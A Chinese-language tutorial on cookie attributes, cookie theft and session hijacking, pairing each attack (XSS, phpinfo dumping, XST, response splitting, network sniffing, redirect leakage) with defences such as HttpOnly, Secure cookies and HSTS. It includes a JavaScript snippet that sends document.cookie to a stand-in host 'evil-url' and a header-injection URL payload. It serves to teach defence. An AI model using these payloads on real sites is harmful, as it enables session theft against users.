cookie竊取和session劫持

一、cookie的基本特性

如果不瞭解cookie,可以先到wikipedia上學習一下。

http request

瀏覽器向服務器發起的每個請求都會帶上cookie:

Host: www.example.org
Cookie: foo=value1;bar=value2
Accept: */*

http response

服務器給瀏覽器的返回可以設置cookie:

HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: name=value
Set-Cookie: name2=value2; Expires=Wed,09 June 2021 10:18:32 GMT

(content of page)

二、cookie有關的術語

session cookie

當cookie沒有設置超時時間,那麼cookie會在瀏覽器退出時銷燬,這種cookie是session cookie。

persistent cookie/tracking cookie

設置了超時時間的cookie,會在指定時間銷燬,cookie的維持時間可以持續到瀏覽器退出之後,這種cookie被持久化在瀏覽器中。很多站點用cookie跟蹤用戶的歷史記錄,例如廣告類站點會使用cookie記錄瀏覽過哪些內容,搜索引擎會使用cookie記錄歷史搜索記錄,這時也可以稱作tracking cookie,因為它被用於追蹤用戶行為。

secure cookie

服務器端設置cookie的時候,可以指定secure屬性,這時cookie只有通過https協議傳輸的時候才會帶到網絡請求中,不加密的http請求不會帶有secure cookie。設置secure cookie的方式舉例:

Set-Cookie: foo=bar; Path=/; Secure

HttpOnly cookie

服務器端設置cookie的時候,也可以指定一個HttpOnly屬性。

Set-Cookie: foo=bar; Path=/; HttpOnly

設置了這個屬性的cookie在javascript中無法獲取到,只會在網絡傳輸過程中帶到服務器。

third-party cookie

第三方cookie的使用場景通常是iframe,例如www.a.com潛入了一個www.ad.com的廣告iframe,那麼www.ad.com設置的cookie屬於不屬於www.a.com,被稱作第三方cookie。

supercookie

cookie會從屬於一個域名,例如www.a.com,或者屬於一個子域,例如b.a.com。但是如果cookie被聲明為屬於.com會發生什麼?這個cookie會在任何.com域名生效。這有很大的安全性問題。這種cookie被稱作supercookie。瀏覽器做出了限制,不允許設置頂級域名cookie(例如.com,.net)和pubic suffix cookie(例如.co.uk,.com.cn)。現代主流瀏覽器都很好的處理了supercookie問題,但是如果有些第三方瀏覽器使用的頂級域名和public suffix列表有問題,那麼就可以針對supercookie進行攻擊啦。

zombie cookie/evercookie

殭屍cookie是指當用戶通過瀏覽器的設置清除cookie後可以自動重新創建的cookie。原理是通過使用多重技術記錄同樣的內容(例如flash,silverlight),當cookie被刪除時,從其他存儲中恢復。 evercookie是實現殭屍cookie的主要技術手段。 瞭解殭屍cookie和evercookie。

三、cookie有什麼用

通常cookie有三種主要的用途。

session管理

http協議本身是是無狀態的,但是現代站點很多都需要維持登錄態,也就是維持會話。最基本的維持會話的方式是Base Auth,但是這種方式,用戶名和密碼在每次請求中都會以明文的方式發送到客戶端,很容易受到中間人攻擊,存在很大的安全隱患。所以現在大多數站點採用基於cookie的session管理方式:用戶登陸成功後,設置一個唯一的cookie標識本次會話,基於這個標識進行用戶授權。只要請求中帶有這個標識,都認為是登錄態。

個性化

cookie可以被用於記錄一些信息,以便於在後續用戶瀏覽頁面時展示相關內容。典型的例子是購物站點的購物車功能。以前Google退出的iGoogle產品也是一個典型的例子,用戶可以擁有自己的Google自定製主頁,其中就使用了cookie。

user tracking

cookie也可以用於追蹤用戶行為,例如是否訪問過本站點,有過哪些操作等。

四、cookie竊取和session劫持

本文就cookie的三種用途中session管理的安全問題進行展開。 既然cookie用於維持會話,如果這個cookie被攻擊者竊取會發生什麼?session被劫持! 攻擊者劫持會話就等於合法登錄了你的賬戶,可以瀏覽大部分用戶資源。

攻擊一旦站點中存在可利用的xss漏洞,攻擊者可直接利用注入的js腳本獲取cookie,進而通過異步請求把標識session id的cookie上報給攻擊者。

var img = document.createElement('img');
img.src ='http://evil-url?c='+ encodeURIComponent(document.cookie);
document.getElementsByTagName('body')[0].appendChild(img);

如何尋找XSS漏洞是另外一個話題了,自行google之。 防禦 根據上面HttpOnly cookie的介紹,一旦一個cookie被設置為HttpOnly,js腳本就無法再獲取到,而網絡傳輸時依然會帶上。也就是說依然可以依靠這個cookie進行session維持,但客戶端js對其不可見。那麼即使存在xss漏洞也無法簡單的利用其進行session劫持攻擊了。 但是上面說的是無法利用xss進行簡單的攻擊,但是也不是沒有辦法的。既然無法使用document.cookie獲取到,可以轉而通過其他的方式。下面介紹兩種xss結合其他漏洞的攻擊方式。

xss結合phpinfo頁面

攻擊 大家都知道,利用php開發的應用會有一個phpinfo頁面。而這個頁面會dump出請求信息,其中就包括cookie信息。

如果開發者沒有關閉這個頁面,就可以利用xss漏洞向這個頁面發起異步請求,獲取到頁面內容後parse出cookie信息,然後上傳給攻擊者。 phpinfo只是大家最常見的一種dump請求的頁面,但不僅限於此,為了調試方便,任何dump請求的頁面都是可以被利用的漏洞。 防禦關閉所有phpinfo類dump request信息的頁面。

XSS + HTTP TRACE = XST

這是一種古老的攻擊方式,現在已經消失,寫在這裡可以擴展一下攻防思路。http trace是讓我們的web服務器將客戶端的所有請求信息返回給客戶端的方法。其中包含了HttpOnly的cookie。如果利用xss異步發起trace請求,又可以獲取session信息了。之所以說是一種古老的攻擊方式,因為現代瀏覽器考慮到XST的危害都禁止了異步發起trace請求。另外提一點,當瀏覽器沒有禁止異步發起trace的時代,很多開發者都關閉了web server的trace支持來防禦XST攻擊。但攻擊者在特定的情況下還可以繞過,用戶使用了代理服務器,而代理服務器沒有關閉trace支持,這樣又可以trace了。

HTTP Response Splitting

  • 參考1
  • 參考2

通常的XSS攻擊都是把輸入內容注入到response的content中,HTTP Response Splitting是一種針對header的注入。例如,一個站點接受參數做302跳轉:

www.example.com/?r=http://baidu.com

request信息:

GET /example.com?r=http://baidu.com

HTTP/1.1

Host: example.com

response:

HTTP/1.1 302 Found
Location: http://baidu.com
Content-Type: text/html

這樣頁面就302跳轉到百度了。攻擊者利用r參數可以注入header,r參數不是簡單的url,而是包含的header信息:

 
http://example.com/?r=%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a%3Chtml%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Ch1%3EDefaced!%3C/h1%3E%3C/html%3E

response變成了:

HTTP/1.1 302 Found
Location:
HTTP/1.1 200 OK
Content-Type: text/html
X-XSS-Protection: 0

<html><script>alert(document.cookie)</script><h1>Defaced!</h1></html>
Content-Type: text/html

有兩個攻擊要點:

  • 指定X=XSS-Protection: 0 ,關閉瀏覽器的xss保護機制。
  • 注入腳本

防禦 針對header的內容做過濾,不能漏掉,特別是Location,host,referrer等。說到底,這也是一種XSS攻擊,只是攻擊方式與普通的不太一樣。針對header的攻擊還可以做SQL注入等,防禦的原則是對所有的輸入進行sanitize,包括非用戶輸入的內容,比如referrer這種一般由瀏覽器帶過來的信息,因為請求完全可以被偽造,未必來自瀏覽器。

網絡監聽(network eavesdropping/network sniffing)

以上是利用上層應用的特性的幾種攻擊方式,cookie不僅存在於上層應用中,更流轉於請求中。上層應用獲取不到後,攻擊者可以轉而從網絡請求中獲取。只要是未使用https加密的網站都可以抓包分析,其中就包含了標識session的cookie。當然,完成網絡監聽需要滿足一定的條件,這又是另外一個話題了。常見的方式:

  • DNS緩存投毒攻擊者把要攻擊的域名的一個子域映射到攻擊者的server,然後想辦法讓被攻擊者訪問這個server(XSS request、社會化攻擊等),請求中會帶過來所有cookie(包括HttpOnly)。
  • 中間人攻擊常見的攻擊方式是搭建免費wifi,把DHCP服務器指定為攻擊者ip,在攻擊者機器上可以收到所有請求,不僅可以獲取cookie,還可以進行腳本注入。
  • 代理服務器/VPN翻牆用免費VPN?呵呵。

防禦使用https。使用https協議的請求都被ssl加密,理論上不可破解,即便被網絡監聽也無法通過解密看到實際的內容。防禦網絡監聽通常有兩種方式:

  • 信道加密
  • 內容加密

https是加密信道,在此信道上傳輸的內容對中間人都是不可見的。但https是有成本的。內容加密比較好理解,例如對password先加密再傳輸。但是對於標識session的cookie這種標識性信息是無法通過內容加密得到保護的。那麼,使用https的站點就可以高枕無憂了嗎?事實上,一些細節上的處理不當同樣會暴露出攻擊風險。

https站點攻擊:雙協議

如果同時支持http和https,那麼還是可以使用網絡監聽http請求獲取cookie。 防禦只支持https,不支持http。這樣就好了嗎?No.

https站點攻擊:301重定向

例如www.example.com只支持https協議,當用戶直接輸入example.com(大部分用戶都不會手動輸入協議前綴),web server通常的處理是返回301要求瀏覽器重定向到https://www.example.com。這次301請求是http的!而且帶了cookie,這樣又將cookie明文暴露在網絡上了。 防禦1 把標識session的cookie設置成secure。上面提到的secure cookie,只允許在https上加密傳輸,在http請求中不會存在,這樣就不會暴露在未加密的網絡上了。 然後現實很殘酷,很多站點根本無法做到所有的請求都走https。原因有很多,可能是成本考慮,可能是業務需求。 防禦2 設置Strict-Transport-Security header,直接省略這個http請求!用戶首次訪問後,服務器設置了這個header以後,後面就會省略掉這次http 301請求。

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